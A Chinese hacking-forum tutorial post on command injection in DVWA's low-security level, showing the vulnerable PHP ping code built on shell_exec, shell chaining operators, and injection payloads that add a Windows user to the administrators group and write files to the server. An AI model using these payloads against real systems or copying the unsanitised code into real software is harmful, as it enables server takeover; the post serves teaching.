查看: 13929|回复: 0

命令注入漏洞

[复制链接]
发表于 2019-10-15 18:08:42 | 显示全部楼层 |阅读模式
本帖最后由 bailancheng 于 2019-10-16 22:11 编辑

命令注入漏洞low级别

漏洞概述:

漏洞产生原因:
在Web 程序中,因为业务功能需求要通过Web 前端传递参数到后台服务器上执行(特别是一些网络设备的Web 管理界面),但由于开发人员没有对输入进行严格的过滤,导致攻击者可以构造一些额外的“带有非法目的”命令,欺骗后台服务器执行。
漏洞危害:
如果Web 应用使用的是root权限,则该漏洞可以导致攻击者在服务器上执行任意命令。

low级别命令注入漏洞
111.JPG

low级别的源代码<?php

if( isset( $_POST[ 'submit' ] ) ) {

    $target = $_REQUEST[ 'ip' ];    //输入IP地址给target变量

    // Determine OS and execute the ping command.
    if (stristr(php_uname('s'), 'Windows NT')) {
   
        $cmd = shell_exec( 'ping  ' . $target );   //执行shell.exec ping空格连接我们输入的IP地址给cmd函数
        echo '<pre>'.$cmd.'</pre>';   
        
    } else {
   
        $cmd = shell_exec( 'ping  -c 3 ' . $target );     
        echo '<pre>'.$cmd.'</pre>';
        
    }
   
}
?>
shell_exec()函数可以在PHP中去执行操作系统命令,如果不对用户输入的命令进行过滤,那么理论上就可以执行任意系统命令,也就相当于直接获得了系统级的Shell。

命令执行语句       
        127.0.0.1 | net user
        127.0.0.1 | net user test 123 /add
        127.0.0.1 | net localgroup administrators test /add
222.JPG
“|”:前面命令输出结果作为后面命令的输入内容;

“&”:前面命令执行后接着执行后面的命令;

“||”:前面命令执行失败的时候才执行后面的命令;

“&&”:前面命令执行成功了才执行后面的命令。
Linux系统还可以使用分号(;)同时执行多条命令。

还可以使用重定向(>)在服务器中生成文件,或是使用(<)从事先准备好的文件读入命令等。
127.0.0.1 & echo test > c:\1.txt     //可以直接写入木马


评分

参与人数 2人气 +1 i币 +11 收起 理由
小圈圈 + 1 感谢分享
昊情· + 1 + 10 感谢分享

查看全部评分

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2025-5-1 23:31 , Processed in 0.064936 second(s), 21 queries , Gzip On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部